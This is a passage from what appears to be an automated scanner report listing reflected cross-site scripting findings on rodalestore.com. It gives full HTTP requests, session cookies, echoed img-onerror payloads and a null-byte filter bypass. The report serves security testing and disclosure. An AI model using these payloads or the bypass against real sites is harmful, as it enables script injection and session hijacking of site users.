Content-Length: 20507

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1eec9b--><img src=a onerror=alert(1)>ea0171121dd&storeId=10051&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.976. http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/InterestItemDisplay

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload f1b4b--><img%20src%3da%20onerror%3dalert(1)>e90cb5e1603 was submitted in the storeId parameter. This input was echoed as f1b4b--><img src=a onerror=alert(1)>e90cb5e1603 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/InterestItemDisplay?storeId=10051f1b4b--><img%20src%3da%20onerror%3dalert(1)>e90cb5e1603&listId=.&langId=-1&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:48 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23880

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=10051f1b4b--><img src=a onerror=alert(1)>e90cb5e1603&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.977. http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/InterestItemDisplay

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5fd61"><img%20src%3da%20onerror%3dalert(1)>bda1acd9b2a was submitted in the storeId parameter. This input was echoed as 5fd61"><img src=a onerror=alert(1)>bda1acd9b2a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/InterestItemDisplay?storeId=100515fd61"><img%20src%3da%20onerror%3dalert(1)>bda1acd9b2a&listId=.&langId=-1&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:43 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23438

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=100515fd61"><img src=a onerror=alert(1)>bda1acd9b2a&nav_wt=header">
...[SNIP]...

2.978. http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/LogonForm

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload 10679--><img%20src%3da%20onerror%3dalert(1)>f49c7cec865 was submitted in the REST URL parameter 5. This input was echoed as 10679--><img src=a onerror=alert(1)>f49c7cec865 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/LogonForm10679--><img%20src%3da%20onerror%3dalert(1)>f49c7cec865?langId=-1&storeId=10051&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:42 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 22201

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
system, and check the log file.

Exception Type: 0
Message Key: _ERR_CMD_CMD_NOT_FOUND
Message: CMN3101E The system is unavailable due to "CMN0203E".
System Message: Command not found: "LogonForm10679--><img src=a onerror=alert(1)>f49c7cec865".
Originating Command:
Corrective Action:

//*-------------------------------------------------------------------
//*
-->
...[SNIP]...

2.979. http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/LogonForm

Issue detail

The value of the langId request parameter is copied into an HTML comment. The payload 59125--><img%20src%3da%20onerror%3dalert(1)>183b14495dc was submitted in the langId parameter. This input was echoed as 59125--><img src=a onerror=alert(1)>183b14495dc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/LogonForm?langId=-159125--><img%20src%3da%20onerror%3dalert(1)>183b14495dc&storeId=10051&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:34 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20965

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-159125--><img src=a onerror=alert(1)>183b14495dc&storeId=10051&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.980. http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/LogonForm

Issue detail

The value of the langId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0fec"><img%20src%3da%20onerror%3dalert(1)>923973e562c was submitted in the langId parameter. This input was echoed as d0fec"><img src=a onerror=alert(1)>923973e562c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/LogonForm?langId=-1d0fec"><img%20src%3da%20onerror%3dalert(1)>923973e562c&storeId=10051&catalogId=10002&page=sidebar&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:31 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20788

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="LogonForm?langId=-1d0fec"><img src=a onerror=alert(1)>923973e562c&storeId=10051&catalogId=10002&nav_wt=header" style="color: #CCCC99">
...[SNIP]...

2.981. http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/LogonForm

Issue detail

The value of the langId request parameter is copied into the HTML document as plain text between tags. The payload d2021<img%20src%3da%20onerror%3dalert(1)>b2c05b17a83 was submitted in the langId parameter. This input was echoed as d2021<img src=a onerror=alert(1)>b2c05b17a83 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/LogonForm?langId=-1d2021<img%20src%3da%20onerror%3dalert(1)>b2c05b17a83&storeId=10051&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:32 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20889

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>Generic Error</title>
   <link rel=stylesheet href="/wc
...[SNIP]...
<select name="currency">
               Exception:java.lang.NumberFormatException: For input string: "-1d2021<img src=a onerror=alert(1)>b2c05b17a83"

   </td>
...[SNIP]...

2.982. http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/LogonForm

Issue detail

The value of the langId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66392"><img%20src%3da%20onerror%3dalert(1)>c3f3f910b66 was submitted in the langId parameter. This input was echoed as 66392"><img src=a onerror=alert(1)>c3f3f910b66 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/LogonForm?langId=-166392"><img%20src%3da%20onerror%3dalert(1)>c3f3f910b66&storeId=10051&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:30 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20760

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="LogonForm?langId=-166392"><img src=a onerror=alert(1)>c3f3f910b66&storeId=10051&catalogId=10002&nav_wt=header" style="color: #CCCC99">
...[SNIP]...

2.983. http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/LogonForm

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b3f5"><img%20src%3da%20onerror%3dalert(1)>afb431aa5fb was submitted in the storeId parameter. This input was echoed as 8b3f5"><img src=a onerror=alert(1)>afb431aa5fb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/LogonForm?langId=-1&storeId=100518b3f5"><img%20src%3da%20onerror%3dalert(1)>afb431aa5fb&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:52 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23428

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=100518b3f5"><img src=a onerror=alert(1)>afb431aa5fb&nav_wt=header">
...[SNIP]...

2.984. http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/LogonForm

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload 734b6--><img%20src%3da%20onerror%3dalert(1)>c707496fb3 was submitted in the storeId parameter. This input was echoed as 734b6--><img src=a onerror=alert(1)>c707496fb3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/LogonForm?langId=-1&storeId=10051734b6--><img%20src%3da%20onerror%3dalert(1)>c707496fb3&catalogId=10002&nav_wt=header HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:54 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23428

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=10051734b6--><img src=a onerror=alert(1)>c707496fb3&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.985. http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/LogonForm

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00eb733"><img%20src%3da%20onerror%3dalert(1)>38dcaff420b was submitted in the storeId parameter. This input was echoed as eb733"><img src=a onerror=alert(1)>38dcaff420b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/LogonForm?langId=-1&storeId=%00eb733"><img%20src%3da%20onerror%3dalert(1)>38dcaff420b&catalogId=10002&page=sidebar&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
